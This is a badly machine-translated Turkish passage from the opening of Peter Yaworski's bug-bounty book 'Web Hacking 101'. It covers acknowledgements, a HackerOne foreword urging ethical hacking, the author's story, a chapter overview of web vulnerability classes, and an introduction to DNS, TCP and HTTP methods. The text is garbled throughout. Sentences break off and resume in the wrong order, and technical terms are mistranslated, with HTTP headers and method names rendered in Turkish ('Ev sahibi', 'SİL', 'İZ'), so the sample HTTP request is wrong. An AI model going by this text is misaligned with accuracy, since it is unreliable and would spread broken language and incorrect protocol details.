Web Hacking 101

Parayı Etik Olarak Bozmak Nasıl Kazanılır

Peter Yaworski

Bu kitap http://leanpub.com/web-hacking-101 adresinden satılmaktadır.

Bu sürüm 2018-03-12 tarihinde yayınlanmıştır

Bu bir Leanpub kitabı. Leanpub, Lean ile yazar ve yayıncıları güçlendirir
Yayıncılık süreci Yalın Yayıncılık kullanarak devam eden bir e-kitap yayınlama eylemidir
Okuyuculardan geri bildirim almak için hafif araçlar ve birçok yineleme;
Bir kere doğru kitap ve çekiş inşa edin.

Bu Kitabı Tweet'le!

Bu kitap hakkında sözcüğü Twitter'da yayarak Peter Yaworski'ye yardım et !

Bu kitap için önerilen tweet:

Web Hacking 101'i okumak için sabırsızlanıyorum:
@yaworsk #bugbounty

Bu kitap için önerilen etiket #bugbounty .

Aramak için bu bağlantıya tıklayarak başkalarının kitap hakkında neler söylediğini öğrenin.
Twitter'daki bu etiket için:

#bugbounty

Andrea ve Ellie'ye, sürekli bir motivasyon roller coaster'ımı desteklediğin için teşekkür ederim.
ve güven. Bu kitabı sensiz asla bitiremezdim, yolculuğum
hacklemek asla başlamaz bile.

HackerOne ekibine göre, bu kitap sizin için olmasaydı ne olmazdı, teşekkür ederim.
bu kitabı daha yapmak için katkıda bulunduğunuz tüm destek, geribildirim ve çalışmalar için
30 açıklamanın sadece bir analizi.

Son olarak, bu kitap en az 9.99 $ karşılığında satış yaparken, önerilen veya üzerinde satış
19.99 $ fiyatı minimum fiyatı düşük tutmama yardımcı oluyor, bu yüzden bu kitap erişilebilir durumda
daha fazla parasını ödeyemeyen insanlara. Bu satışlar ayrıca zaman ayırmamı sağlıyor.
hack'ten sürekli içerik eklemek ve kitabı daha iyi hale getirmek
birlikte.

Keşke minimumdan fazlasını ödeyen herkesi teşekkür edebilseydim
sen, liste çok uzun olurdu ve aslında alıcıların iletişim bilgilerini bilmiyorum
Bana ulaşmadıkları sürece. Ancak, daha fazla ödeme yapan küçük bir grup var.
alımlarını yaparken önerilen fiyatı çok uzun bir yol gidiyor. isterdim
onları burada tanıyın. Onlar içerir:

1. @ Ebrietas0
2. Gizemli Alıcı
3. Gizemli Alıcı
4. @nahamsec (Ben Sadeghipour)
5. Gizemli Alıcı
6. @ Spam404Online
7. @ Danyl0D (Danylo Matviyiv)
8. Gizemli Alıcı
9. @arneswinnen (Arne Swinnen)

Bu listede olmanız gerekiyorsa, lütfen beni Twitter'da DM.

Bunun bir kopyasını alan herkese teşekkür ederim!

içindekiler

1. Önsöz

Öğrenmenin en iyi yolu basitçe yapmaktır. İşte biz buyuz - Michiel Prins ve Jobert Abma
- kesmeyi öğrendi.

Gençtik. Önümüzde gelen tüm hackerlar ve gelecek olanların hepsi gibi
sonra, kontrol edilemeyen, merak uyandıran şeyleri anladık.
çalıştı. Çoğunlukla bilgisayar oyunları oynuyorduk ve 12 yaşına kadar öğrenmeye karar verdik.
kendi yazılımımızı nasıl oluşturacağımızı. Visual Basic ve PHP'de nasıl programlanabileceğini öğrendik
Kütüphane kitaplarından ve uygulamalarından.

Yazılım geliştirme anlayışımızdan, bu becerilerin hızla ortaya çıktığını keşfettik.
diğer geliştiricilerin hatalarını bulmamıza izin verdi. Binadan ayrılmaya başladık ve
hack o zamandan beri bizim tutkumuz oldu. Lise mezuniyetimizi kutlamak için
mezuniyetimizi kutlayan bir reklamı yayınlamak için bir televizyon kanalının yayın kanalını devraldı
sınıf. O sırada eğlenirken, hızlıca sonuçlandığını ve bunun sonuçlarını öğrendik.
dünyanın ihtiyaç duyduğu bilgisayar korsanları değil. TV istasyonu ve okul hiç eğlenmedi
ve yaz aylarını pencerelerimizi ceza olarak harcadık. Üniversitede döndük
En üst düzeyde, kamuoyunda müşterileri olan uygulanabilir bir danışmanlık işi konusundaki becerilerimiz
tüm dünyada özel sektör. Hacking deneyimimiz bizi HackerOne'a götürdü.
2012 yılında ortak kurduk. Evrendeki her firmaya izin vermek istedik.
bilgisayar korsanlarıyla başarılı bir şekilde çalışın ve bugün HackerOne'un görevi olmaya devam ediyor.

Bunu okuyorsanız, bilgisayar korsanı ve böcek avcısı olmak için gereken merak da vardır.
Bu kitabın yolculuğunuz boyunca muazzam bir rehber olacağına inanıyoruz. Zenginlerle dolu,
gerçek hata ödemeleriyle sonuçlanan gerçek dünya güvenlik açığı raporları örnekleri,
yazar ve diğer bir bilgisayar korsanı, Pete Yaworski tarafından faydalı analizler ve incelemeler.
O senin öğrendiğin gibi senin arkadaşın ve bu çok değerli.

Bu kitabın bu kadar önemli olmasının bir başka nedeni de nasıl etik olacağına odaklanması.
Hacker. Hacking sanatında ustalaşmak, umduğumuz son derece güçlü bir beceri olabilir.
iyi için kullanılacaktır. En başarılı bilgisayar korsanları, ince çizgide nasıl gezinileceğini biliyor
hack yaparken doğru ile yanlış arasında. Birçok insan bir şeyleri kırabilir ve hatta deneyebilir
hızlı para kazanın. Ancak İnternet'i daha güvenli hale getirebileceğinizi düşünün
Dünyadaki şaşırtıcı şirketler, hatta yol boyunca bile para kazanıyorlar. Yeteneğiniz var
milyarlarca insanı ve verilerini güvende tutma potansiyeli. Umarım budur
arzuluyorsun.

Tüm bunları çok iyi belgelemek için zaman harcadığı için Pete'e sonu gelmediği için minnettarız.
Başlarken bu kaynağa sahip olmayı diliyoruz. Pete'in kitabı okumak bir zevktir
bilgisayar korsanlığı yolculuğunuzu başlatmak için gereken bilgiler.

Mutlu okumalar ve mutlu hack!

Sorumlu bir şekilde hacklemeyi unutma.

Michiel Prins ve Jobert Abma Kurucu Ortakları, HackerOne

2. Giriş

Bu kitabı satın aldığınız için teşekkür ederiz, umarım siz de benim kadar okurken çok eğlenirsiniz.
araştırmak ve yazmak.

Web Hacking 101 benim ilk kitabımdır, hacklenmenize başlamanıza yardımcı olmak içindir. Başladım
Bunu, kendime ait bir yan ürün olan 30 kırılganlığın kendisinin yayınlanmış bir açıklaması olarak yazdım.
öğrenme. Çabucak çok daha fazlasına dönüştü.

Kitap için umudum, en azından, gözlerini hacklemenin engin dünyasına açmak.
En iyisi, umarım bu web'i daha güvenli bir yer haline getirme yolunda ilk adımınız olacaktır.

bunu yaparken biraz para kazanmak.

Her şey nasıl başladı

2015 yılının sonlarında, kitapta rastladım, Biz Anonimiz: Hacker Dünyasının İçinde
LulzSec, Anonim ve Küresel Siber İsyan'ın Parmy Olson tarafından başlatılmasıyla sona erdi
bir haftada okuyor. Yine de bitirdikten sonra, bu bilgisayar korsanlarının nasıl olduğunu merak ettim
Başladı

Daha çok susadım ama sadece bilgisayar korsanlarının **NE** yaptığını bilmek istemedim.
NASIL bilgisayar korsanları yaptı. Bu yüzden okumaya devam ettim. Ama ne zaman yeni bir kitap kazırsam, hala ayrıldım
aynı sorularla:

- Diğer Hacker'lar buldukları güvenlik açıklarını nasıl öğrenir?
- İnsanlar nerede güvenlik açıkları buluyor?
- Hacker'lar hedef siteyi hackleme işlemine nasıl başlar?
- Sadece otomatik araçları kullanmakla mı uğraşıyorsunuz?
- Güvenlik açıklarını nasıl bulabilirim?

Ancak daha fazla cevap aramaya, daha fazla kapı açmaya devam etti.

Aynı saatlerde, Coursera Android geliştirme kurslarına katılıyordum
Diğer ilginç kurslar için bir göz atın. Coursera Cybersecurity uzmanlığı
dikkatimi çekti, özellikle Ders 2, Yazılım Güvenliği. Neyse ki benim için, daha yeni başlıyordu
(Şubat 2016 itibariyle, Yakında listeleniyor) ve kayıt oldum.

Birkaç ders verdim, sonunda arabellek taşmasının ne olduğunu ve nasıl olduğunu anladım.
sömürülen. SQL enjeksiyonlarının nasıl yapıldığını tamamen kavradım, oysa ki daha önce de biliyordum.
tehlike. Kısacası bağladım. Bu noktaya kadar, her zaman web güvenliğine yaklaştım.

Sayfa 16

geliştiricinin bakış açısına göre, değerleri sterilize etme ve bunlardan kaçınma ihtiyacını takdir etme
doğrudan kullanıcı girişi kullanarak. Şimdi her şeyin neye benzediğini anlamaya başlamıştım.
Bir hacker'ın bakış açısı.

Hackcrowd'un forumlarına nasıl girileceği ve rastlanacağı hakkında daha fazla bilgi aramaya devam ettim.
Maalesef, o sırada aşırı aktif değillerdi, ancak orada belirtilen biri var.
HackerOne hacktivity ve bir rapora bağlandı. Bağlantıdan sonra şaşırdım. ben ... idim
bir şirkete yazılmış bir güvenlik açığının açıklamasını okumak;
Dünya. Belki daha da önemlisi, şirket gerçekten bulmak için hacker ödedi ve
Bunu şikayet et!

Bu bir dönüm noktasıydı, takıntılı oldum. Özellikle ev sahibi bir Kanadalı
şirket, Shopify, açıklamalarda paketin liderliğini yapıyordu. Kontrol etme
Shopify'ın profili dışında, açıklama listeleri açık raporlarla doluydu. Okuyamadım
yeterince. Güvenlik açıkları, Siteler Arası Kod Yazma, Kimlik Doğrulama ve
Siteler Arası İstek Sahteciliği, sadece birkaç isim.

Kuşkusuz, bu aşamada, raporların ayrıntılarını anlamakta zorlandım.
Güvenlik açıklarından ve sömürü yöntemlerinden bazılarının anlaşılması zordu.

Belirli bir raporu denemek ve anlamak için Google'da arama yapıyorum, GitHub sorunuyla sona erdi
eski bir Ruby on Rails için konuya başlamadan önce zayıf parametre açığı (bu ayrıntılı
Uygulama Mantığı bölümü) Egor Homakov tarafından bildirilmiştir. Egor'u takip etmek beni yönlendirdi

Bazı ciddi karmaşık güvenlik açıkları için açıklamalar içeren bloguna.

Deneyimlerini okuduğumda, hack dünyasının ovadan fayda sağlayabileceğini anladım.
Gerçek dünyadaki güvenlik açıklarının dil açıklamaları. Ve sadece öyle oldu, öğrendim
başkalarına öğretirken daha iyi.

Ve böylece, Web Hacking 101 doğdu.

Sadece 30 Örnek ve İlk Satışım

Basit bir hedefle başlamaya, 30 web güvenlik açığını bulup açıklamaya karar verdim
Anlamak, sade bir dil.

En kötüsü, zayıf yönleri araştırıp yazmanın öğrenmeme yardımcı olacağını düşündüm.
hackleme hakkında. En iyi ihtimalle, bir milyon kopya satar, kendini yayınlayan bir guru olur ve emekli olurdum.
erken. İkincisi henüz gerçekleşmedi ve zaman zaman, eski sonsuz görünüyor.

Açıklanan 15 güvenlik açığının etrafında, taslağımı yayınlamaya karar verdim
satın alın - seçtiğim platform, LeanPub (hangisi muhtemelen satın almışsa)
aracılığıyla), müşterilere herkese erişim sağlayarak, yinelemeli olarak yayınlamanıza olanak tanır
güncellemeler. HackerOne ve Shopify'a açıklamaları için teşekkür eden bir tweet gönderdim ve
dünyaya kitabımdan bahsetmek. Çok fazla beklemiyordum.

Fakat saatler içinde ilk satışımı yaptım.

Aslında kitabımı ödeyen birinin fikriyle mutlu oldum (yarattığım ve
içine bir ton çaba harcıyorum!), LeanPub'a ne bulabileceğimi görmek için giriş yaptım
gizemli alıcı. Hiçbir şey ortaya çıkarmaz. Ama telefonum titreşti, tweet aldım.
Michiel Prins'tan kitabı sevdiğini ve döngüde kalmasını istediğini söyledi.

Michiel Prins da kim? Twitter profilini kontrol ettim ve çıkıyor, o bir
HackerOne Kurucu Ortakları. **Bok.** Bir parçam HackerOne olmayacağını sanıyordu
İçerik için kendi sitelerine güvenmemden etkilendim. Olumlu kalmaya çalıştım Michiel
destekleyici görünüyordu ve döngüde tutulmasını istedi, bu yüzden muhtemelen zararsızdı.

İlk satışımdan kısa bir süre sonra, ikinci bir satış aldım ve bir şeyler yaptığımı düşündüm.
Tesadüfen, aynı zamanda, Quora'dan bir soru hakkında bir bildirim aldım.
Muhtemelen ilgimi çeker, Nasıl başarılı bir böcek ödül avcısı olurum?

Başlarken edindiğim tecrübeye göre, aynı ayakkabıda olmanın nasıl bir şey olduğunu bilmek
Kitabımı tanıtmak istemenin bencil hedefi ile bir cevap yazacağımı düşündüm.
Yarı yolda, bana sadece diğer cevabın yazdığı yazdı.
Jobert Abma, HackerOne'un diğer Kurucu Ortaklarından biri. Oldukça yetkili bir ses
hacklemede. **Bok.**

Cevabımı terk etmeyi düşündüm ama daha sonra onun girdisine dayanarak yeniden yazmayı seçtim.
çünkü onun tavsiyesiyle rekabet edemedim. Gönder düğmesine basıp hiçbir şey düşünmedim. Ama sonra
İlginç bir e-posta aldım:

> Merhaba Peter, Quora'nın cevabını gördüm ve sonra senin bir kitap yazdığını gördüm.
> Beyaz Şapka hakkında hack. Daha fazlasını bilmek isterdim.
>
> Saygılarımla,
>
> Marten CEO'su, HackerOne

Üçlü Bok. Bu noktada aklımdan bir sürü şey geçti, hiçbiri pozitif değildi
ve hemen hemen hepsi mantıksızdı. Kısacası, Marten'in yapmasının tek sebebini düşündüm.
e-posta bana çekiç kitabımı düşürmekti. Neyse ki, bu olamazdı
gerçeklerden daha uzak.

Kim olduğumu ve ne yaptığımı açıklamaya, ona öğrenmeye çalıştığımı açıkladım.
kesmek ve başkalarının benimle birlikte öğrenmelerine yardımcı olmak. Anlaşılan o, fikrin büyük bir hayranıydı.
HackerOne'un toplumu büyütmek ve destek olmakla ilgilendiğini açıkladı
Korsanların, öğrendikleri gibi, katılan herkes için karşılıklı yarar sağladığı gibi. Kısacası, teklif etti
yardım etmek. Ve adam, hiç oldu mu? Bu kitap muhtemelen bugün olduğu yerde veya dahil olmadığında
içeriğinin yarısı ve HackerOne'in sürekli desteği ve motivasyonu olmadan.

Bu ilk e-postadan beri yazmaya devam ettim ve Marten kontrol etmeye devam etti. Michiel ve Jobert
taslakları inceledi, önerilerde bulundu ve hatta bazı bölümlere katkıda bulundu. Sansar bile
profesyonelce tasarlanmış bir kapağın maliyetini karşılamak için yukarıda ve öteye gitti (elveda)
beyaz bir cadı şapkası ile düz sarı kapak, hepsi tarafından tasarlanmış gibi görünüyordu

dört yaşında). Mayıs 2016'da, Adam Bacchus HackerOne'a katıldı ve 5. gününde çalışıyor
orada, kitabı okudu, düzenlemeleri sağladı ve kitapta olmanın nasıl olduğunu açıkladı.
güvenlik açığı sonu raporlarının alınması - şimdi rapor yazmaya dahil ettiğim bir şey
bölüm.

Bunlardan bahsediyorum çünkü bu yolculuk boyunca, HackerOne hiç sormadı
karşılığında bir şey. Onlar sadece toplumu desteklemek istemişti ve bu kitabı gördü.
Bunu yapmanın iyi bir yoluydu. Hacker toplulukta yeni biri olarak, bu rezonansa girdi
benimle ve umarım seninle de olur. **Şahsen destekleyici bir parçası olmayı tercih ederim
ve kapsayıcı topluluk.**

Öyleyse, o zamandan beri, bu kitap başlangıçta benim düşündüğümün ötesinde, çarpıcı biçimde genişledi.
Sioned. Ve bununla, hedef kitle de değişti.

Bu kitap kim için yazılmıştır

Bu kitap akılda yeni bilgisayar korsanları ile yazılmıştır. Bir web geliştiricisi olup olmanız önemli değil,
web tasarımcısı, evde kalmak, 10 yaşında veya 75 yaşında bir anne. Bu kitabın bir olmasını istiyorum.
Farklı güvenlik açıklarını anlamak için yetkili referans, nasıl yapılır
Onları nasıl bulacağınızı, nasıl rapor alacağınızı, hatta nasıl para alacağınızı, savunma kodunu nasıl yazacağınızı bulun.

Bununla birlikte, bu kitabı kitlelere vaaz etmek için yazmadım. Bu gerçekten bir kitap
birlikte öğrenme hakkında. Bu nedenle, başarıları **ve** bazı önemli düşüncelerimi paylaşıyorum (ve
utanç verici) başarısızlıklar.

Kitap ayrıca, belirli bir bölüm varsa
ilgileniyorum, ilk önce onu oku. Bazı durumlarda, daha önce tartışılan referans bölümlerini yapıyorum.
ancak bunu yaparken, bölümleri birbirine bağlamaya çalışıyorum, böylece ileri geri dönebilirsiniz. Bu kitabı istiyorum
keserken açık tuttuğun bir şey olmak için.

Bu notta, her bir güvenlik açığı türü bölümü aynı şekilde yapılandırılmıştır:

- Güvenlik açığı türünün bir açıklamasıyla başlayın;
- Güvenlik açığı örneklerini inceleyin; ve,
- Bir özet ile sonuçlandırın.

Benzer şekilde, bu bölümlerdeki her örnek aynı şekilde yapılandırılmıştır ve şunları içerir:

- Güvenlik açığı bulma konusundaki zorluğum hakkındaki tahminim
- Güvenlik açığının bulunduğu yer ile ilişkili url
- Rapor veya yazının bağlantısı
- Güvenlik açığının bildirildiği tarih
- Rapor için ödenen tutar
- Güvenlik açığının anlaşılması kolay

- Kendi çabalarınıza uygulayabileceğiniz önlemleri alın

Son olarak, hacklemenin bir önkoşulu olmasa da, bazılarına sahip olmak iyi bir fikir olabilir.
HTML, CSS, Javascript ve belki de bazı programlama konularına aşinalık. Bu demek değil
web sayfalarını en baştan baştan başlayarak toplayabilmeniz gerekir
ancak bir web sayfasının temel yapısını anlamak, CSS'nin nasıl bir görünüm ve his tanımladığı
Javascript ile yapılabilecekler, güvenlik açıklarını çözmenize yardımcı olacak ve
Bunu yapmanın ciddiyetini anlayın. Programlama bilgisi siz olduğunuzda yardımcı olur.
uygulama mantığı açıklarını aramak. Kendini programcının içine koyabilirsen
Bir şeyi nasıl uyguladıklarını veya kodlarını nasıl okuduklarını tahmin etmek için
kullanılabilir, oyunda önde olacaksın.

Bunu yapmak için Udacity'nin **HTML'ye Giriş ve**
CSS ve **Javacript Temelleri** , Kaynaklar bölümüne dahil ettiğim bağlantılar. Eğer öyleysen
Udacity'ye aşina olmayan, görevi erişilebilir, uygun fiyatlı, ilgi çekici ve
dünyaya son derece etkili yüksek öğretim. Gibi şirketleri ile ortak olduk
Program oluşturmak ve çevrimiçi kurslar sunmak için Google, AT&T, Facebook, Salesforce vb.

Bölüme genel bakış

2. Bölüm , HTTP de dahil olmak üzere internetin nasıl çalıştığını gösteren giriş niteliğindedir.
istekleri ve cevapları ve HTTP yöntemleri.

Bölüm 3 , sömürmeyi içeren ilginç bir güvenlik açığı olan Açık Yönlendirmeleri kapsar
kullanıcıları, bir saldırganın kullanıcının güvenini kullanmalarını sağlayan başka bir siteyi ziyaret etmeye yönlendiren bir site
savunmasız sitede.

Bölüm 4 , HTTP Parametre Kirliliğini kapsamaktadır ve içinde sistemlerin nasıl bulunacağını öğreneceksiniz.
bu, güvenli olmayan girdiler boyunca üçüncü taraf sitelerine geçilmeye açık olabilir.

Bölüm 5 , örnekler arasında yapılan Siteler Arası İstek Sahteciliği güvenlik açıklarını kapsar
Bu, kullanıcıların bir web sitesine bilgi gönderme konusunda nasıl kandırılabileceğini gösterir.
bilmeden giriş yaptı.

Bölüm 6 , HTML Enjeksiyonlarını kapsar ve içindeki HTML'yi nasıl enjekte edebileceğinizi öğreneceksiniz.
Bir web sayfasına kötü niyetli olarak kullanılabilir. En ilginç paket servislerden biri nasıl
Siteleri sizi HTML'yi kabul etme ve işleme koyma konusunda kandırmak için kodlanmış değerleri kullanabilirsiniz
filtreleri atlayarak gönderin.

Bölüm 7 , Taşıyıcı Geri Dönüş Hattı Besleme Enjeksiyonlarını ve içindeki örnekleri kapsar.
satır başı gönderme, satır sonları ve bunların oluşturulmuş içerik üzerindeki etkisi.

Bölüm 8 , Siteler Arası Script Yazmayı, çok çeşitli yollarla büyük bir konuyu kapsamaktadır.
istismara ulaşmak. Siteler Arası Komut Dosyası oluşturma, büyük fırsatları ve bütün bir kitabı temsil eder
Muhtemelen üzerine yazılabilir ve yazılmalıdır. Yapabileceğim bir ton örnek var.

buraya ekledim, bu yüzden öğrenme için en ilginç ve yararlı olanı üzerine odaklanmaya çalışıyorum.

Sayfa 20

Bölüm 9 , Sunucu Tarafı Şablonu Enjeksiyonunu ve ayrıca istemci tarafı enjeksiyonlarını kapsar. Bunlar
güvenlik açıkları, doğrudan kullanıcılara girdi girişi yapan geliştiricilerin avantajlarından yararlanır
şablon sözdizimi kullanılarak gönderildiğinde şablonlar. Bu güvenlik açıklarının etkisi
nerede gerçekleştiğine bağlı olarak değişir, ancak genellikle uzaktan kod yürütülmesine neden olabilir.

Bölüm 10 manipüle içeren yapısal sorgu dili (SQL) enjeksiyonlarını kapsar.
bir siteden bilgi çıkarmak, güncellemek veya silmek için veritabanı sorguları yapmak.

Bölüm 11 , bir saldırganın kullanıcıya uzaktan kumanda göndermesine izin veren Sunucu Tarafı İsteği Sahteciliğini kapsar
Saldırgan adına müteakip HTTP istekleri yapmak için sunucuya

Bölüm 12 , bir sitenin ayrıştırılmasından kaynaklanan XML Dış Varlık güvenlik açıklarını kapsar
genişletilebilir biçimlendirme dili (XML). Bu tür güvenlik açıkları gibi şeyleri içerebilir
özel dosyaları okumak, uzaktan kod çalıştırmak, vb.

Bölüm 13 Uzaktan Kod Yürütmeyi veya bir saldırganın yürütme özelliğini kapsar
kurban sunucusunda rastgele kod. Bu tür güvenlik açığı en tehlikeli olanlar arasında
Bir saldırgan hangi kodun yürütüleceğini kontrol edebilir ve genellikle bu şekilde ödüllendirilir.

Bölüm 14 , bellekle ilgili güvenlik açıklarını, olabilecek bir güvenlik açığı türünü kapsamaktadır.
bulmak zor ve tipik olarak düşük seviyeli programlama dilleri ile ilgilidir. Ancak,
Bu tür böcekleri keşfetmek, bazı ciddi güvenlik açıklarına neden olabilir.

Bölüm 15 , araştırma hakkında çok şey öğrendim Sub Domain Devirlerini kapsamaktadır.
Bu kitap ve büyük ölçüde Mathias, Frans ve Dectectify ekibine aktarılmalıdır.
Esasen burada, bir site bir üçüncü taraf hizmetiyle barındıran, ancak hiçbir zaman barındırmayan bir alt etki alanı anlamına gelir
aslında bu hizmetten uygun adresi talep ediyor. Bu bir saldırgana izin verir
adresi üçüncü şahıstan tescil ettirmek, böylece tüm trafiğin
kurbanın etki alanı aslında bir saldırganın üzerinde.

Bölüm 16 , iki veya daha fazla işlem içeren bir güvenlik açığı olan Yarış Koşullarını kapsar.
yalnızca bir eylemin gerçekleşmesine izin vermesi gereken koşullara dayalı eylem yapmak. İçin
Örneğin, banka havalelerini düşünün, 500 ABD Doları tutarındaki iki havaleyi gerçekleştirememeniz gerekir
bakiyeniz sadece 500 dolar olduğunda. Ancak, bir yarış durumu güvenlik açığı buna izin verebilir.

Bölüm 17 , bir saldırganın güvenli olmayan Direct Object Reference güvenlik açıklarını kapsar
Olmaması gereken itirazları (veritabanı kayıtları, dosyalar vb.) okuyabilir veya güncelleyebilir
izni.

Bölüm 18 , uygulama mantığı tabanlı güvenlik açıklarını kapsar. Bu bölüm bir büyüdü
Programlama mantığı kusurlarına bağlı olduğunu düşündüğüm tüm açıkları yakala. Bunları buldum
Yeni başlayanlar için garip şeyler aramak yerine güvenlik açıklarını bulmak daha kolay olabilir.
ve bir siteye zararlı girdiler göndermenin yaratıcı yolları.

Bölüm 19 , nasıl başlayacağınız konusunu ele almaktadır. Bu bölüm size yardımcı olmak içindir
Adım adım rehbere atladığınız adımların aksine, açıkları nerede ve nasıl arayacağınızı düşünün.
bir siteyi hacklemek. Tecrübelerime ve sitelere nasıl yaklaştığım üzerine kuruludur.

Bölüm 20 , tartışmasız, tavsiye ettiği en önemli kitap bölümlerinden biridir.
etkili bir raporun nasıl yazılacağı konusunda. Dünyadaki bütün hack sen

konuyu gerekli şirkete düzgün şekilde rapor edemez. Gibi, biraz büyük ovaladı
Ödemeyi yapan şirketlere, en iyi nasıl rapor verebilecekleri ve tavsiye alabilecekleri konusundaki tavsiyeleri için adlandırma
HackerOne'dan. **Buraya çok dikkat ettiğinizden emin olun** .

Bölüm 21 vites değiştirir. Burada önerilen bilgisayar korsanlığı araçlarına dalıyoruz. İlk
Bu bölümün taslağı HackerOne'dan Michiel Prins tarafından bağışlanmıştır. O zamandan beri büyüdü
bulduğum ve kullandığım faydalı araçların yaşam listesine.

Bölüm 22 , bilgisayar korsanlığınızı bir üst seviyeye çıkarmanıza yardımcı olmaya adamıştır. İşte yürüyorum
Öğrenmeye devam etmek için harika kaynakların var. Yine, risk altında
Kırık bir rekor gibi geliyor, orijinaline katkıda bulunan Michiel Prins sayesinde büyük
Bu bölümü başlatan liste.

23. Bölüm kitabı tamamlar ve bilmeniz gereken bazı temel terimleri kapsar.
hacklemek. Çoğu diğer bölümlerde tartışılırken, bazıları tavsiye etmiyorum
burada bir okuma alarak.

Uyarı Sözü ve İyilik

Bilgisayar korsanlığı dünyasına girmeden önce, bir şeyi açıklığa kavuşturmak istiyorum. Olduğum gibi
öğrenme, kamuya açıklamaları okuma, insanların tüm paralarını görme (ve hala
yapmak, süreci cazip hale getirmek ve bunu kolay bir yol olarak düşünmek kolaylaştı
çabuk zengin ol. Değil. Hack yapmak son derece faydalı olabilir ama bulmak ve okumak zor
yol boyunca yaşanan başarısızlıklar hakkında (biraz utanç verici bazılarını paylaştığım yer hariç)
hikayeleri). Sonuç olarak, çoğu zaman insanların başarılarını duyacağınız için gelişebilir
başarının gerçekçi olmayan beklentileri. Ve belki hızlı bir şekilde başarılı olacaksın. Ama eğer sen
değil, çalışmaya devam et! Kolaylaşacak ve bir raporun çözülmesi harika bir duygu.

Bununla, sormam gereken bir iyilik var. Okuduğunuz gibi, lütfen bana Twitter'dan mesaj gönderin @yaworsk
ve bana nasıl gittiğini bildirin. Başarılı veya başarısız olsun, duymak isterim
senden. Böcek avı, mücadele ediyorsan yalnız işe yarayabilir ama aynı zamanda
birbirleriyle kutlayın. Ve belki de sizin bulmanız ...
sonraki baskı.

İyi şanslar!!

3. Arkaplan

Benim gibi yeni başlıyorsan ve bu kitap dünyaya ilk adımların arasında.
hack, internetin nasıl çalıştığını anlamanız sizin için önemli olacak.
Sayfayı çevirmeden önce, ne demek istediğimi adres çubuğuna yazdığınız URL'nin
IP adreslerine vb. göre çözümlenmiş bir alanla eşleştirilir.

Bir cümleyle çerçevelemek için: İnternet, bağlı ve
birbirlerine mesaj gönderme. Bazıları yalnızca belirli mesaj türlerini kabul eder, bazıları yalnızca
sınırlı sayıda başka sistemlerden, ancak internetteki her sistemden mesajlara izin ver
kişilerin bir mesaj gönderebilmesi için bir adres alır. Daha sonra her bir sisteme kalmış
mesajla ne yapılacağını ve nasıl cevap vermek istediğini belirlemek için.

Bu mesajların yapısını tanımlamak için, insanlar bunlardan bazılarının
sistemler Yorumlar İstekleri'nde (RFC) iletişim kurmalıdır. Örnek olarak, bir
HTTP'ye bakın. HTTP, internet tarayıcınızın iletişim kurma şeklinin protokolünü tanımlar.
bir web sunucusu ile. Çünkü internet tarayıcınız ve web sunucunuz uygulamayı kabul etti
Aynı protokol, iletişim kurabiliyorlar.

Tarayıcınızın adres çubuğuna http://www.google.com adresini girdiğinizde ve return tuşuna basın.
Aşağıdaki adımlar, yüksek düzeyde neler olduğunu açıklar:

- Tarayıcınız etki alanı adını URL'den (www.google.com) çıkarır.
- Bilgisayarınız, yapılandırılmış DNS sunucularına bir DNS isteği gönderir.
  DNS, bir alan adının bir IP adresine çözülmesine yardımcı olabilir, bu durumda
  216.58.201.228. İpucu: bakmak için terminalinizden dig A www.google.com adresini kullanabilirsiniz.
  etki alanı için IP adreslerini ayarlama.
- Bilgisayarınız, 80 numaralı bağlantı noktasındaki IP adresiyle bir TCP bağlantısı kurmaya çalışıyorsa,
  HTTP trafiği için kullanılır. İpucu: nc çalıştırarak TCP bağlantısı kurabilirsiniz.
  216.58.201.228 80 sizin terminalinizden.
- Başarılı olursa, tarayıcınız aşağıdaki gibi bir HTTP isteği gönderir:

GET / **HTTP** / 1.1
Ev sahibi : www.google.com
Bağlantı : canlı tutmak
Kabul et : application / html, * / *

- Şimdi sunucudan bir cevap bekleyecek ve şöyle bir şeye benzeyecektir:

HTTP / 1.1 200 Tamam
İçerik Türü: metin / html

```
<Html>
  <Head>
    <title> Google.com </title>
  </ Head>
```

```
  <Body>
    ...
  </ Body>
</ Html>
```

- Tarayıcınız, döndürülen HTML, CSS ve JavaScript'i ayrıştırır ve oluşturur. Bunda
  Bu durumda, Google.com'un ana sayfası ekranınızda gösterilecektir.

Şimdi, özellikle tarayıcı, internet ve HTML ile ilgili olarak
daha önce, bu mesajların nasıl gönderileceğine dair bir
Tüm HTTP / 1.1 için kullanılan belirli yöntemler ve bir Host istek başlığının gerekliliği
4. maddede belirtildiği gibi talepler: 4. Tanımlanan yöntemler arasında GET, HEAD, POST, PUT,
SİL, İZ, BAĞLANTI ve SEÇENEKLER.

GET metodu istek tanımlanır ne olursa olsun bilgi almak için anlamı
Tekdüzen İstek Tanımlayıcısı (URI). URI terimi, özellikle verilen
Yukarıdaki bir URL'ye atıfta bulunmak, fakat esas olarak, bu kitabın amaçları için
URL, bir kişinin adresi gibidir ve bir kişinin adı gibi bir URI türüdür
(teşekkürler Wikipedia). HTTP polisi olmasa da, genellikle GET istekleri olmamalıdır
Herhangi bir veri değiştirme fonksiyonuyla ilişkiliyken, yalnızca veri almalı ve sağlamalıdır.

BAŞ Sunucu bir vermemelidir haricinde yöntem GET mesajı aynıdır
yanıt olarak ileti gövdesi. Genelde bunun kullanıldığını sık sık görmezsiniz ama görünüşe göre
genellikle geçerlilik, erişilebilirlik ve son değişiklikler için köprü metin bağlantılarını sınamak için kullanılır.

POST yöntemi olarak, sunucu tarafından yapılması gereken bir fonksiyonu çağırmak için kullanılan
sunucu tarafından belirlenir. Başka bir deyişle, genellikle bir tür arka uç olacaktır.
yorum oluşturma, kullanıcı kaydetme, hesap silme vb.
POST'a yanıt olarak sunucu tarafından gerçekleştirilen eylem değişkenlik gösterebilir.
aksiyon alınması ile sonuçlanır. Örneğin, isteği işlerken bir hata oluşursa.

PUT bazı fonksiyonu çağıran ancak mevcut bir bahsederken yöntemi kullanılırsa
varlık. Örneğin, hesabınızı güncellerken, bir blog gönderisini güncellerken vb.
gerçekleştirilen eylem değişiklik gösterebilir ve sunucunun hiçbir işlem yapmamasına neden olabilir.

SİL göründüğü gibi yöntem, uzaktan kumanda için bir istek çağırmak için kullanılır edilir
URI tarafından tanımlanan bir kaynağı silmek için sunucuyu seçin.

İZ yöntemi, geri yansıtmak için kullanılan bu kez başka nadir bir yöntemdir
istek sahibine mesaj gönderin. Bu isteklinin ne aldığını görmesine izin verir
Sunucu tarafından ve bu bilgileri test etme ve tanılama bilgileri için kullanmak.

CONNECT yöntemi aslında bir proxy ile kullanılmak üzere ayrılmıştır (proxy olan bir temelde
